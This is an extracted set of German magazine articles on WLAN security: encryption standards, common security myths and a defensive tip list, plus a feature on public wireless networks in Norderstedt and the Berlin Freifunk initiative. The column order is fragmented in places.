müssen selbst eigene Verschlüsselungstechnologien 

mitbringen. 

Outlook kann etwa über SSL verschlüsseln, 

wenn der Mailserver (beziehungsweise 

der Mailprovider) das anbietet. 

Wird FTP genutzt, sollte man zu sFTP 

greifen. 

Offen wie ein Scheunentor 

Die nicht beabsichtigten Lücken drahtloser 

Netze kann nur eine sorgfältige 





[1] Umfrage von B2B International im Auftrag von 

Kaspersky Lab im Jahr 2013: [http:// media. 

kaspersky. com/ en/ business‐security/ 

Kaspersky_Global_IT_Security_Risks_Survey_report_Eng_final. 

pdf] 

n Autor 

Christian Funk ist Senior Virus 

Analyst bei Kaspersky Lab. Seine 

Spezialgebiete sind die Webseiten 

Sozialer Netzwerke, Analysen von 

Internetbetrügereien sowie die 

Beobachtung des Schwarzmarkts 

im Bereich Online-Gaming und 

Mobile Security. 

Konfiguration wieder adäquat schließen. 

Ist zum Beispiel die Netzwerkfreigabe 

von Nutzern aktiviert, kann jeder 

im selben Netz auf die freigegebenen 

Daten zugreifen. Außerdem ermöglicht 

die Netzwerkfreigabe das Freigeben 

von Ordnern des Betriebssystems. 

Ist die Tür ins WLAN für einen Dritten 

mit krimineller Absicht erst mal geöffnet, 

kann das Netz für Angriffe auf Webseiten, 

Spam-Versand und andere illegale 

Aktivitäten missbraucht werden. 

Dies ist gerade für Betreiber von öffentlichen 

WLAN-Netzen zu beachten. Denn 

es drohen gesetzliche Konsequenzen, 

wenn über die eigene IP-Adresse illegale 

Aktivitäten ausgeführt werden. 

Das folgende Beispiel zeigt, wie Unternehmensnetzwerke 

über einen althergebrachten, 

aber immer noch äußerst 

wirkungsvollen Ansatz ausspioniert 

werden können, indem ein WLAN-Netz 

selbst zum Angriffsvektor wird. Dabei 

wird ein Rogue-Accesspoint mittels 

eines vorkonfigurierten WLAN-Routers 

von den Angreifern direkt im Unternehmensgebäude 

des Opfers platziert. Der 

Router ist wiederum via Ethernet an 

das Netzwerk angeschlossen. Moderne 

Bürogebäude machen es dem Angreifer 

relativ leicht. Selbst Küchen oder 

ein verstecktes Plätzchen hinter dem 

Drucker im Flur bieten Netzwerkanschlüsse, 

die hierfür verwendet werden 

können. Einmal platziert, kann der Angreifer 

vom Parkplatz aus das Netzwerk 

So sichert man WLANs 

Die folgenden Tipps zeigen abschließend, 

wie man sich auf Konfigurationsebene 

des genutzten Wireless- 

Equipments vor Sicherheitslücken und 

böswilligen Absichten schützen kann: 

1. Starke Verschlüsselung: WLANs in 

Unternehmen sollten mindestens über 

„WPA2 Enterprise“ verschlüsselt sein. 

2. Starke Passwörter für den WLAN-Zugang: 

Wireless-Netze sollten mit extra 

starken Passwörtern abgesichert werden, 

die aus mindestens 16 Zeichen bestehen. 

Außerdem sollten Passwörter 

Sonderzeichen und Zahlen beinhalten, 

aber keine einzelnen Wörter abbilden. 

Wenn schwächere Passwörter genutzt 

werden, sollte dahinter ein Account- 

System liegen, das Mitarbeiter nur 

mit ihren Zugangsdaten freischalten 

können. 

3. Abschaltung des Ad-Hoc-Modus: 

Wird der Ad-Hoc-Modus ausgeschaltet, 

findet keine direkte Kommunikation 

zwischen den Clients untereinander 

statt. So verhindert man, dass Ordnerfreigaben 

einfach ausgenutzt oder 

direkte Angriffe auf Rechner ausgeführt 

werden können. 

4. WLANs und interne Netze trennen: 

WLANs sollten separat zum internen 

Netzwerk der Organisation eingerichtet 

werden. So sind beide Netze physikalisch 

getrennt oder via VLAN-Netze 

segmentiert. 

5. Rechtliche Absicherung via AGBs: 

Beim Betreiben von WLAN-Netzen 

können rechtliche Konsequenzen bei 

Missbrauch eines Netzwerks drohen, 

zum Beispiel wenn Internetangriffe und 

Spam-Versand via unzureichend abgesichertem 

Netzwerkzugang durchgeführt 

werden. Eine Absicherung durch 

die eigene Rechtsabteilung sorgt für 

Rechtssicherheit. (jcb) n 


28 

WLAN Security 

Grundlagen 

Thomas Reichhart, 123RF 

Sicherheit im WLAN: Fakten und Mythen 

Kabellose Mythen 

Das drahtlose Netzwerk bringt Komfort für Nutzer und Eindringlinge. Wir erklären die grundlegenden 

Konzepte und Begriffe und klären über Mythen auf. Carsten Schnober 

Die Strippenzieher kommen aus der 

Mode: So mancher Laptop hat nicht 

einmal mehr eine Buchse fürs Netzwerkkabel, 

von Smartphones und Tablets 

ganz zu schweigen. Trotzdem erwarten 

ihre Besitzer, dass sie mit ihren 

Geräten im Büro wie zu Hause einfach 

loslegen können. Ein drahtloses Netz ist 

schnell aufgesetzt, aber wie verhindert 

der Admin, dass Außenstehende darüber 

an die Firmeninterna gelangen? 

Verschlüsselung statt Kabel? 

Mit dem Einzug der drahtlosen Vernetzung 

verschwand ein Prinzip, das sicherheitsbewusste 

Admins liebgewonnen 

hatten: Schirmte eine Firewall das 

interne Netz ausreichend vor Attacken 

von außen ab, brauchten Angreifer eine 

physische Verbindung. Vor einem echten 

Einbruch ins Büro schreckten dann 

wohl doch die meisten Hacker zurück, 

während sie für den Einbruchsversuch 

ins drahtlose Netz lediglich einen gemütlichen 

Platz in der Nachbarschaft 

benötigen. 

Die typischerweise unverschlüsselte 

Kommunikation im internen Netz wird 

damit zum potenziellen Sicherheits- 

problem. Manche Firmen sperrten sich 

anfangs komplett gegen drahtlose 

Netzwerke, aber inzwischen können 

sich kaum noch Admins dem Komfortgewinn 

der WLANs verweigern; spätestens 

wenn der Chef mit seinem neuen 

Macbook Air ohne Netzwerkbuchse ins 

Netz möchte. 

Anfangs sollte die Lösung für das Problem 

WEP (Wired Equivalent Privacy) 

heißen. Die versprochene, dem Kabel 

entsprechende Sicherheit lieferte 

das WEP-Verfahren allerdings nicht. 

Nachdem mehrere Methoden und 

Tools aufgekommen waren, die eine 

WEP-Verschlüsselung teils in wenigen 

Minuten knackten, verabschiedete das 

Institute of Electrical and Electronics 

Engineers IEEE 2003 den WPA-Standard 

(Wi-Fi Protected Access) als Nachfolger 

für das unsichere WEP. 

Verschlüsselte Unsicherheit 

WPA war zunächst ein angesichts der 

Unzulänglichkeiten von WEP eilig 

eingeführter Ersatz. Der neue Standard 

führte das TKIP-Verfahren in die 

WLAN-Verschlüsselung ein (Temporal 

Key Integrity Protocol), das zwei neue 

Mechanismen mitbrachte. Zum einen 

generiert TKIP für jedes Datenpaket 

einen eigenen Schlüssel von 128 Bit 

Länge nach dem RC4-Verschlüsselungsalgorithmus, 

der etwa auch beim 

TLS-Protokoll zum Einsatz kommt; ein 

Verfahren, das als Nachfolger von SSL 

diversen Übertragungsprotokollen eine 

Verschlüsselungsebene überstülpt. 

WEP verzichtete auf solche dynamisch 

generierten Schlüssel, unter anderem 

weil die Urheber nicht sicher waren, 

dass jeder Client über die erforderliche 

Prozessorleistung verfügte; doch 

Anfang des Jahrtausends war dieser 

Einwand schon hinfällig. 

Zum anderen prüft WPA die Integrität 

eingehender Pakete. Damit verhindert 

es Angriffe mithilfe abgefangener und 

kopierter oder manipulierter Datenpakete 

eines anderen Clients. 

Als weitere Verbesserung folgte 2004 

der bis heute empfohlene Standard 

WPA2, teilweise auch bekannt unter 

der Abkürzung RSN (Robust Security 

Network). Seit 2006 ist WPA2-Unterstützung 

für WLAN-Geräte verpflichtend, 

damit die IEEE sie zertifiziert. WPA2 

ersetzt das TKIP-Verfahren durch CCMP 


WLAN Security 

Grundlagen 

29 

(Counter Mode Cipher Block Chaining 

Message Authentication Code Protocol), 

da TKIP ebenfalls sicherheitstechnische 

Schwachstellen offenbart hatte. 

2012 erklärte die IEEE TKIP für überholt 

und rät von der weiteren Benutzung ab, 

auch wenn es weiter unterstützt wird. 

CCMP basiert auf dem AES-Verschlüsselungsalgorithmus, 

den zahlreiche Sicherheitsanwendungen 

einsetzen und 

der weiterhin als sicher gilt. 

Endlich sicher 

WPA kennt zwei Authentifizierungsmodi: 

Bei WPA-PSK (Pre-shared Key) 

gibt der Client bei der Anmeldung am 

Hotspot ein Passwort an, aus dem WPA 

einen 256 Bit langen Schlüssel generiert. 

Dieses WPA Personal genannte 

Verfahren kommt meist in kleineren 

WLANs zum Einsatz. Jeder Benutzer 

verwendet dabei also dasselbe Passwort. 

Abbildung 1 zeigt einen typischen 

WLAN-Router für ein Heimnetzwerk. 

Der gemeinsame Netzwerkschlüssel 

steht im entsprechenden Feld. 

WPA Enterprise implementiert hingegen 

eine benutzerbezogene Autorisierung 

(siehe Artikel „Großer Radius“ in 

dieser Ausgabe) nach dem IEEE-Standard 

802.1X. Dabei sendet jeder Client 

einen Benutzernamen und ein persönliches 

Passwort an den WLAN-Hotspot. 

Dieser greift üblicherweise auf einen 

externen Radius-Server zurück, um die 

angegebenen Daten zu überprüfen. Abbildung 

2 illustriert den Vorgang. 

Die Authentifizierungsdaten leitet der 

WLAN-Hotspot gemäß des EAP-Standards 

(Extensible Authentication Protocol) 

weiter, zu diesem Zweck nutzt WPA 

Enterprise die Erweiterung EAPOL (EAP 

over LAN). Beim typischen WLAN-Setup 

dient der Hotspot dann als Netzwerkzugangsknoten 

(NAS, Network Access 

Service, Abbildung 3) für die Clients. 

EAP selbst legt lediglich das Übertragungsformat 

der Anmeldedaten fest 

und geht nicht auf mögliche Mithörer 

ein. Damit die Benutzerdaten sicher 

ankommen, gelangen sie bei WPA 

Enterprise verschlüsselt zum Authentifizierungsserver. 

Dabei existieren theoretisch 

fünf Varianten, auch wenn in der 

Praxis nicht alle zum Einsatz kommen. 

Als Erstes bildete gemäß Spezifika- 

Abbildung 1: Kleinere WLANs verwenden einen gemeinsamen Netzwerkschlüssel. 

tion EAP-TLS die Grundlage für WPA 

Enterprise. Es gilt immer noch als die 

sicherste Variante, denn es setzt in den 

meisten Implementationen sowohl auf 

der Server- als auch auf der Client-Seite 

ein Verschlüsselungszertifikat voraus. 

Ohne so ein Zertifikat helfen einem 

Einbrecher selbst ein gültiger Benutzername 

und Passwort eines Clients nicht. 

Das setzt jedoch auch eine vergleichsweise 

umständliche Ersteinrichtung eines 

Client-Rechners voraus, auf den der 

Nutzer sein Zertifikat kopieren muss, 

bevor er ins Netz kann. 

EAP-TTLS macht das Zertifikat für 

den Client optional und baut einen 

Sicherheitsgewinn ein, indem der 

WN 

Supplicant 

! 

AP 

Authenticator 

WLAN-Hotspot einen ebenfalls mit TLS 

verschlüsselten Tunnel zum Authentifizierungsserver 

einrichtet. Durch jenen 

fließen alle Daten für Außenstehende 

unlesbar – auch der Benutzername, 

den EAP-TLS im Klartext überträgt. Allerdings 

hat sich dieses Verfahren nicht 

etabliert, weil Microsofts Desktopbetriebssysteme 

es erst seit Windows 8 

unterstützen. 

Ebenfalls auf einen verschlüsselten 

Tunnel setzt das PEAP-Verfahren 

(Protected Extensible Authentication 

Protocol), entwickelt unter anderem 

von Cisco und Microsoft. Es definiert 

zunächst nur die Methode, EAP-Mechanismem 

aneinander zu koppeln. Den 

" 

§ 

Authentication Server 

(RADIUS, LDAP,...) 

AS 

Internet- oder 

andere Netzwerkressourcen 

Abbildung 2: Bei WPA Enterprise (802.1X) verbindet sich der Client (Supplicant) mit dem Accesspoint, 

der den Benutzer beim Authentifizierungsserver verifiziert. 


Admin 

Ausgabe 02-2014

30 

WLAN Security 

Grundlagen 

Supplicant 

EAPOL 

! 

EAP 

Authenticator 

§ 

Tunnel zwischen WLAN-Hotspot und 

Authentifizierungsserver verschlüsselt 

PEAPv0 mit MSCHAPv2 (Microsoft’s 

Challenge Handshake Authentication 

Protocol). PEAPv1 setzt dagegen auf 

EAP-GTC (EAP Generic Token Card); 

dieser Alleingang aus dem Hause Cisco 

konnte sich aber nicht etablieren. 

Microsoft verweigerte auch hier bei 

seinen Betriebssystemen lange die Unterstützung. 

Empfehlungen 

Trotz all der teils verwirrend benannten 

Abkürzungen lassen sich die Verschlüsselungstechniken 

übersichtlich zusammenfassen. 

Für den Weg zwischen 

Client und WLAN-Hotspot ist WPA oder 

WPA2 zuständig. WEP existiert zwar 

noch bei vielen Geräten, ist aber veraltet 

und bietet wenig mehr Schutz als 

eine unverschlüsselte Verbindung. 

Für erhöhte Sicherheit empfiehlt sich 

dann WPA Enterprise. Dabei kommt 

neben der WPA-Verschlüsselung 

zwischen Client und WLAN-Hotspot 

zusätzlich ein verschlüsselter Tunnel 

zum Authentifizierungsserver zum 

Einsatz. Dieser benötigt ein Zertifikat, 

im Produktiveinsatz sollte es von einer 

vertrauenswürdigen Stelle signiert sein. 

Andernfalls erhält der Client eine Warnung. 

Ignoriert er diese, riskiert er eine 

Man-in-the-Middle-Attacke, bei der ein 

Angreifer das Zertifikat manipuliert. 

Authentication Server 

RADIUS / Diameter 

EAP 

" 

Internet- oder 

andere Netzwerkressourcen 

Abbildung 3: Mit EAPOL gelangen Benutzerdaten verschlüsselt zum Authentifizierungsserver. 

Sicherheitsmythen 

Aufgrund der Vielzahl sich um WLAN- 

Sicherheit rankender Mythen lohnt 

sich abschließend eine Aufzählung vermeintlicher 

Sicherheitsmaßnahmen, 

die faktisch nicht vor gezielten Angriffen 

schützen. 

Es beginnt mit dem vergeblichen 

Versuch, das eigene WLAN scheinbar 

unsichtbar zu machen. Jeder WLAN- 

Hotspot bietet die Möglichkeit, die SSID 

(Service Set Identifier) nicht als Broadcast 

in die Welt zu senden. Das hat zur 

Folge, dass der Name des WLANs auf 

einem typischen Laptop oder anderen 

Gerät nicht zu sehen ist, je nach 

Client-Software taucht das namenlose 

WLAN dann gar nicht auf. Ein befugter 

Netzteilnehmer gibt die SSID manuell 

ein, um sich zu verbinden. Einmal gespeichert, 

erfolgt die Verbindung zum 

WLAN automatisch. 

Allerdings bietet diese Maßnahme 

höchstens Schutz gegen versehentliche 

Verbindungsversuche unerwünschter 

Clients. Wer bewusst in ein WLAN einbrechen 

möchte, findet die SSID auch 

über die zwischen Hotspot und angemeldeten 

Clients ausgetauschten Datenpakete. 

Einschlägige Tools erledigen 

die Extraktion von WLAN-SSIDs ganz 

nebenbei, ob unsichtbar oder nicht. 

In eine ähnliche Kerbe schlägt der 

ebenfalls bei allen WLAN-Hotspots 

vorgegebene Filtermechanismus 

auf Basis der MAC-Adressen von Clients. 

Jedes Netzwerkgerät, sowohl 

drahtlose als auch kabelgebundene 

Netzwerkadapt er, besitzen ab Werk 

eine fest eingebaute MAC-Adresse. Im 

Normalfall hilft diese dem Client, sich 

eindeutig bei einem Router zu identifizieren. 

Deshalb liegt die Idee nahe, die 

MAC-Adressen gewünschter Clients im 

WLAN-Hotspot zu speichern und alle 

anderen Geräte auszusperren. 

Auch diese Maßnahme vermeidet 

jedoch höchstens versehentliche Verbindungsversuche 

durch unbefugte 

Clients. Denn die MAC-Adresse eines 

Netzwerkgeräts lässt sich beliebig 

manipulieren. Erlaubte MAC-Adressen 

herauszufinden, ist für einen Eindringling 

wiederum einfach, denn auch sie 

gehört zu den Daten, die angemeldeten 

Clients mit jedem Paket an den Hotspot 

übertragen. An dieser Stelle fangen 

Eindringlinge die MAC-Adresse ab und 

übernehmen sie. 

Adressen 

WLAN-Hotspots enthalten gewöhnlich 

auch einen DHCP-Server zur automatischen 

Vergabe von IP-Adressen an die 

Clients. Es erscheint möglicherweise 

als Schutzmaßnahme, den DHCP- 

Server abzuschalten und die Netzwerkeinstellungen 

der Clients einzeln 

zu konfigurieren. Hier gilt jedoch das 

gleiche wie bei einem manuell definierten 

MAC-Adressenfilter: Abgefangene 

Datenpakete enthalten die IP-Adressen, 

sodass ein Angreifer lediglich mithören 

und seinen Rechner entsprechend konfigurieren 

muss. 

Ein ähnlicher vermeintlicher Sicherheitstipp 

soll den Komfort der automatischen 

Client-Konfiguration via 

DHCP mit der Sicherheit durch einen 

eingeschränkten Adressbereich kombinieren. 

Es heißt, man begrenze den 

vom DHCP-Server vergebenen Bereich 

von IP-Adressen auf die Anzahl der 

gewünschten Clients. Sind sie angemeldet, 

bleiben keine IP-Adressen frei und 

der Router verweigert die Anmeldung. 

Hier gilt das gleiche wie ohne DHCP- 

Server: Wer eine im Netzwerk gültige 

IP findet, übernimmt diese einfach, mit 

unvorhersehbaren Folgen für die Netzwerkkommunikation. 

n 


goodluz, 123RF 

Öffentliche drahtlose Netzwerke in Deutschland 

Drahtlos in Grenzen 

Öffentliche drahtlose Netzwerke haben es in Deutschland schwer. Das ADMIN-Magazin hat sich zwei 

unterschiedliche Ansätze angesehen, die es trotzdem versuchen: MobyKlick in Norderstedt und die Freifunk-Initiative. 

Jan Rähm 

Nicht nur Touristen freuen sich, wenn 

sie unterwegs über ein öffentliches 

drahtloses Netzwerk einen schnellen 

Blick auf den digitalen Fahrplan des 

örtlichen Nahverkehrs werfen oder sich 

per Wikipedia & Co über Ausflugsziele 

informieren können. Doch in Deutschland 

gibt es kaum freie Netze, obwohl 

Ausnahmen zeigen, dass es möglich ist. 

Mit einem flächendeckenden drahtlosen 

Netzwerk wäre es einfach, ein Dorf 

oder eine ganze Stadt komplett mit 

einem Internetzugang zu versorgen. 

Denn die deutschen Anbieter versorgen 

noch lange nicht das gesamte Land mit 

Breitband-Mobilfunk. Während die Abdeckung 

in Städten meist passable Dimensionen 

angenommen hat, wird sie 

in ländlichen Gebieten zum Trauerspiel. 

Ein großflächiges, für jeden nutzbares 

WLAN könnte dort Abhilfe schaffen. Die 

Anwohner geben darin einen Teil ihrer 

eigenen Bandbreite für die Öffentlichkeit 

frei. Doch der Gesetzgeber schiebt 

dem einen Riegel vor: Aufgrund der sogenannten 

Störerhaftung (siehe Kasten 

„Störerhaftung“) traut sich kaum noch 

jemand, seinen Internetanschluss mit 

Fremden zu teilen. Zu groß ist die Gefahr, 

dass unrechtmäßige Handlungen 

im Netz auf einen selbst zurückfallen. 

Dass es anders geht, zeigt ein Blick 

über die Grenzen Deutschlands hinaus. 

Öffentliche Drahtlosigkeit 

London, Paris, New York und viele 

weitere Metropolen bieten der Allgemeinheit 

teils kostenlose, drahtlose 

Netzwerke. Vielfach betreiben die 

Kommunen diese Netze selbst. Das 

beste Beispiel in dieser Hinsicht ist 

Estland: Der baltische Staat rangiert 

im weltweiten Ranking hinsichtlich des 

Breitbandausbaus weit vorne, in der 

Hauptstadt Tallinn deckt zudem ein 

WLAN das gesamte Stadtgebiet ab. 

Schaut man auf deutsche Städte, sieht 

es dagegen traurig aus. In Berlin und 

Potsdam decken Drahtlosnetzwerke 

einige Innenstadtbereiche ab, über 

die die Öffentlichkeit zumindest eine 

halbe Stunde am Tag kostenfrei surft. 

Kunden des Betreibers – eine Kooperation 

zwischen Kabel Deutschland und 

der Medienanstalt Berlin Brandenburg 

(mabb) – dürfen auch länger ins Netz. 

Das Angebot hat jedoch noch experimentellen 

Charakter. 

Einen Testlauf in Sachen Public-WLAN 

möchte auch München starten und zu- 


Wireless Securty 

Öffentliche WLANs 

33 

mindest im direkten Innenstadtbereich 

einige ausgesuchte Plätze mit freiem 

WLAN abdecken. Ein ähnliches Vorhaben 

für Augsburg scheiterte allerdings 

erst letztes Jahr. 

Der bereits genannte Betreiber Kabel 

Deutschland sowie der Kommunikationsriese 

Telekom planen zumindest für 

die eigenen Kunden ein weiträumigeres 

WLAN aufzubauen. Dazu wollen sie am 

Anschluss der eigenen Breitbandkunden 

mithilfe eines speziellen Routers 

ein zusätzliches, abgeschottetes WLAN 

aufmachen und anderen Nutzern zur 

Verfügung stellen. In anderen Ländern, 

etwa Frankreich und Großbritannien, 

wenden die großen Internet-Anbieter 

diese Technik seit Jahren an. 

Doch es bleibt fraglich, ob die Pläne 

der beiden Unternehmen zu flächendeckenden 

WLANs in Städten und auf 

dem Land führen, denn die Betreiber 

haben wenig Einfluss auf den Standort 

und die Ausrichtung der Router. Ein 

Gerät im dritten Geschoss eines Hinterhauses 

erreicht vielleicht zwar die 

Nachbarn, aber nicht den Touristen, 

der auf der Straße vorbeiläuft. Über 

Hand-Over-Techniken ließen die Kommunikationsunternehmen 

bisher auch 

nichts verlauten, die vorbeieilenden 

Passanten den Übergang zwischen 

den Hotspots des Netzwerks erlauben 

würden. So steht zu befürchten, dass 

die Initiativen der beiden Netzbetreiber 

eher zu einem Flickenteppich führen. 

Norddeutsche 

Breitbandhoffnung 

Eine Ausnahme des nahezu WLANfreien 

Status Quo gibt es im Norden 

Deutschlands. In der Stadt Norderstedt 

nahe Hamburg hat der örtliche Breitbandanbieter 

Wilhelm.Tel, eine Tochter 

der ortsansässigen Stadtwerke, 

Nägel mit Köpfen gemacht. Erst hat 

das Unternehmen in Eigenregie über 

90 Prozent der Haushalte mit einem 

Abbildung 1: Wilhelm.Tel stellt seit letzten Sommer 

im Projekt MobyKlick der Öffentlichkeit in Norderstedt 

ein kostenloses WLAN zur Verfügung. 

Jan Rähm

34 



http://www.olsrexperiment.de / Wikimedia 

Abbildung 2: Selbsthilfe für Betroffene mangelnden DSL-Ausbaus in Ost-Berlin: Die Freifunk-Initiative 

erschließt per WLAN das Breitbandnetz. 

breitbandigen Internetzugang mit bis 

zu 100 Mbit/s versorgt. Dann nahm es 

den öffentlichen Raum in Angriff: Im 

Juni letzten Jahres gab Wilhelm.Tel 

den Startschuss für das Norderstedter 

WLAN namens MobyKlick [1]. Abbildung 

1 zeigt einen Funkmast mit WLAN- 

Hotspots. 

Mit MobyKlick gelangen Norderstedts 

Bürger und Besucher über zwei Modelle 

kostenlos ins Internet. Das eine gilt für 

die Nutzer des lokalen Breitbandanbieters, 

laut Aussage des Unternehmens 

fast alle Bürger der Stadt. Sie bekommen 

die MobyKlick-Zugangsdaten mit 

dem bestehenden Vertrag und loggen 

sich mit ihnen ins neue drahtlose Netzwerk 

ein. Das zweite Modell richtet 

sich an Besucher von Norderstedt. Sie 

erhalten per Gutscheinkarte oder SMS 

einen Zugang für 24 Stunden – eine Verlängerung 

ist möglich. Beide Gruppen 

nutzen das Public-WLAN kostenlos und 

ohne Volumenbegrenzung. 

Zell-Sprung 

Das MobyKlick-Netz weist eine vergleichsweise 

hohe Bandbreite bis 

zu 100 MBit pro Sekunde auf. Diese 

Geschwindigkeit realisieren die Betreiber 

durch eine direkte Anbindung der 

Accesspoints ans Glasfasernetz. Der 

technische Planer Malte Kock scherzt 

im Gespräch mit dem ADMIN-Magazin: 

„Egal wo Sie hier bei uns buddeln, Sie 

treffen immer auf eine Glasfaser.“ 

Eine zweite Besonderheit des Netzes: 

Es ist Roaming-fähig. Das bedeutet, 

dass die Nutzer nahtlos und unterbrechungsfrei 

zwischen den Funkzellen 

wechseln. Das macht ein Controller 

möglich, der alle Knoten steuert, also 

alle Accesspoints in Norderstedt zentral 

verwaltet. Malte Kock erklärt: „Das 

heißt, ich habe einen zentralen Punkt, 

der über alle Geräte Bescheid weiß. 

Im Hintergrund werden Messungen 

vorgenommen. Wenn ein Gerät aus einem 

Bereich hinausläuft und von einer 

anderen Antenne übernommen wird, 

sorgt der Controller dafür, dass dieser 

Client vom ersten Accesspoint disconnected 

und vom nächsten Accesspoint 

übernommen wird.“ Wenn das WLAN in 

einigen Monaten flächendeckend fertiggestellt 

ist, soll es in Norderstedt sogar 

möglich sein, unterbrechungsfreie 

IP-Telefonate übers WLAN zu führen 

oder Video-Streams anzusehen. 

Als dritte Besonderheit haben Malte 

Kock und seine Mitarbeiter besondere 

Maßnahmen zum Schutz der Datensicherheit 

implementiert. Sie teilen das 

Netz von MobyKlick in zwei Bereiche: 

Einer arbeitet verschlüsselt, der andere 

n Störerhaftung 

Als Störerhaftung bezeichnen Juristen im Falle eines Internetzugangs 

den Umstand, dass der Betreiber einer Kommunikationseinrichtung – 

wie eines öffentlich zugänglichen drahtlosen Netzwerks – für eventuelle 

Rechtsverstöße sogenannter Störer haftet. Nutzt also ein Anwender das 

WLAN eines anderen zum Beispiel für das Bereitstellen urheberrechtlich 

geschützten Materials auf Tauschbörsen, kann der Betreiber des Netzes 

dafür belangt werden. Im Mai 2010 schränkte der Bundesgerichtshof in 

einer Entscheidung die Haftung auf Abmahnkosten ein und hat damit 

immerhin die Gefahr exorbitanter Schadenersatzansprüche weitgehend 

gebannt. 

Besonders gefährdet sind Betreiber offener Netze. Wer sein Netzwerk 

mit Zugangsbeschränkungen von der Außenwelt abschottet, muss sich 

nur noch um die Zugangsberechtigten sorgen und diese gegebenenfalls 

über den rechtskonformen Umgang mit dem Netzwerk belehren. Laut 

mancher Gerichtsurteile bewahren solche Maßnahmen Anschlussinhaber 

vor juristischen Folgen. Doch nicht alle Gerichte entscheiden in die 

gleiche Richtung. Deshalb fordern nicht nur Juristen seit langem, dass 

der Gesetzgeber den Betrieb eines freien WLANs endlich auf eine solide 

Grundlage stellt. 

Die letzte Regierung hat den Zugang zu freien Netzen nicht reguliert. 

CDU/CSU und SPD haben jedoch im Koalitionsvertrag vereinbart, „die 

gesetzlichen Grundlagen für die Nutzung dieser offenen Netze und 

deren Anbieter“ zu schaffen. Man wolle „die Potenziale von lokalen 

Funknetzen (WLAN) als Zugang zum Internet im öffentlichen Raum“ 

ausschöpfen. 

Weiter heißt es in dem Papier: „Rechtssicherheit für WLAN-Betreiber ist 

dringend geboten, etwa durch Klarstellung der Haftungsregelungen“. 

Wie viel von diesen Worten im Vertrag zu halten ist, wird sich zeigen. 

Fakt ist, dass die Einrichtung freier WLANs oftmals scheitert, weil beispielsweise 

Kommunen Angst vor Abmahnungen haben, wie der Deutsche 

Städte- und Gemeindebund im Gespräch mit dem ADMIN-Magazin 

bestätigt. 


Wireless Securty 


35 

Abbildung 3: In Mesh-Netzen kommunizieren 

die WLAN-Router miteinander und 

leiten die Daten über die jeweils beste 

Route. 

unverschlüsselt. Der ungeschützte Teil 

dient zum spontanen Surfen – zum 

Beispiel auf dem Portal des MobyKlick- 

Netzes. Dort bekommen Besucher unter 

anderem Zugangsdaten, mit denen 

sie in den verschlüsselten Teil wechseln 

können. 

Im unverschlüsselten Teil des Netzes 

soll kein Nutzer für den anderen 

sichtbar sein. Malte Kock erklärt den 

erhöhten Aufwand wie folgt: „Wir 

versuchen so weit es geht, den Kommunikationsweg 

von Ende zu Ende zu 

verschlüsseln, um von vornherein die 

Angriffsfläche für Phishing-Angriffe einzudämmen, 

die versuchen, aus der Luft 

Daten abzugreifen und Kundendaten 

zu kompromittieren.“ 

Neben der Datensicherheit steht die 

Datensparsamkeit im selbst auferlegten 

Pflichtenbuch des Norderstedter 

Netzbetreibers. Gelegenheitsnutzer 

brauchen für den Zugang zum drahtlosen 

Netz nur ihre Handynummer preiszugeben. 

Die Daten der Wilhelm.Tel- 

Kunden liegen im Zweifel sowieso vor, 

erklärt Geschäftsführer Theo Weirich 

dem ADMIN-Magazin. Der Störhaftung 

sei damit Genüge getan: „In den zwei 

Jahren, in denen wir das aufgebaut und 

getestet haben, hat sich die Gesetzeslage 

zumindest was Vorratsdatenspeicherung 

und entsprechende Registrierung 

von Nutzerdaten angeht, noch 

nicht gefestigt. Wir brauchen aber eine 

gewisse Störerhaftung. Da wollen wir 

entgegenwirken, indem wir die Tickets 

dann über SMS zustellen.“ Dank dieser 

SMS habe man dann auch die Telefonnummer 

der MobyKlick-Benutzer und 

könne sie darüber nötigenfalls mithilfe 

einer richterlichen Anordnung identifizieren. 

Rettungsanker für Berlin 

Auch für die Aktivisten des Projekts 

Freifunk [2] in Berlin war die Störerhaftung 

ein Thema. Allerdings führten 

zunächst ganz andere Probleme zur 

Gründung der Initiative. Eigentlich 

legte eine technische Fehlplanung den 

Grundstein für den Aufbau eines der 

ersten großen öffentlich nutzbaren 

WLANs: In der Zeit zwischen deutscher 

Wiedervereinigung 1990 und dem 

Jahrtausendwechsel investierten Bundespost 

und ihr Nachfolger Deutsche 

Telekom massiv in den Ausbau der 

Telekommunikationsnetze, vor allem 

in Ostdeutschland. Dabei setzte man 

auf die OPAL-Technik, eine glasfaserbasierte 

Kommunikationsinfrastruktur, 

die sich zwar gut für die Telekommunikation, 

aber schlecht für Datendienste 

eignete. Gar nicht zu gebrauchen war 

OPAL für die DSL-Technologie. 

So wurde die Technik, die Deutschlands 

Osten zukunftsfähig machen 

sollte, zu einer massiven Bremse des 

Breitbandausbaus. Das betraf auch den 

Osten Berlins, in dem die Netzwerk- 

Programmiererin Elektra Wagenrad 

schon damals wohnte. Sie behalf sich 

wie andere Telekom-Kunden mit ISDN- 

Flatrates. So kam sie dank ISDN-Kanalbündelung 

immerhin mit 128 Kilobit 

pro Sekunde ins Netz. 

Dann stampfte die Telekom die ISDN- 

Pauschaltarife jedoch ein. Elektra 

Wagenrad: „Damit waren wir hier quasi 

digital abgeschnitten.“ Das Ende der 

ISDN-Flatrates geriet aber auch zur 

Geburtsstunde der Freifunk-Bewegung: 

„So entstand die Idee, Freifunknetze 

aufzubauen, schon alleine um die 

Breitbandversorgung für uns selbst 

sicherzustellen“ erzählt Elektra Wagenrad. 

„Wir haben also erstmal WLAN- 

Funkstrecken aufgebaut und uns aus 

den Kiezen, die so glücklich waren, 

A-DSL zu bekommen, die Breitbandgeschwindigkeit 

zu holen.“ Abbildung 2 

zeigt den heutigen Stand der Freifunk- 

Verbreitung. 

Seit über zehn Jahren bauen die 

Freiwilligen des Projekts Freifunk 

öffentliche WLANs auf. Neben der 

erwähnten Not bildet auch die Lust am 

Experimentieren und Programmieren 

ein Motiv. Die Freifunker werden dabei 

auch von den Bezirken unterstützt: 

mit Standorten für die Technik 

und teilweise mit ein wenig Geld. 

Inzwischen existieren Freifunk-Netze in 

der ganzen Bundesrepublik und auch 

über deren Grenzen hinaus hat sich die 

Idee verbreitet. 

Breitband ohne Zensur und 

Spionage 

Die kostenlose Internetversorgung 

bildet allerdings nur einen Faktor des 

Erfolgs von Freifunk, beschreibt Elektra 

Wagenrad: „Mittlerweile gibt es immer 

mehr Leute, die sich dafür begeistern 

– gerade im Kontext von Zensur und 

Überwachung.“ Aus diesem Grund 

entstünden aktuell immer mehr solche 

Netze, obwohl man sie nur der Bandbreite 

wegen zumindest in den Großstädten 

immer weniger bräuchte, sagt 

die Entwicklerin. 

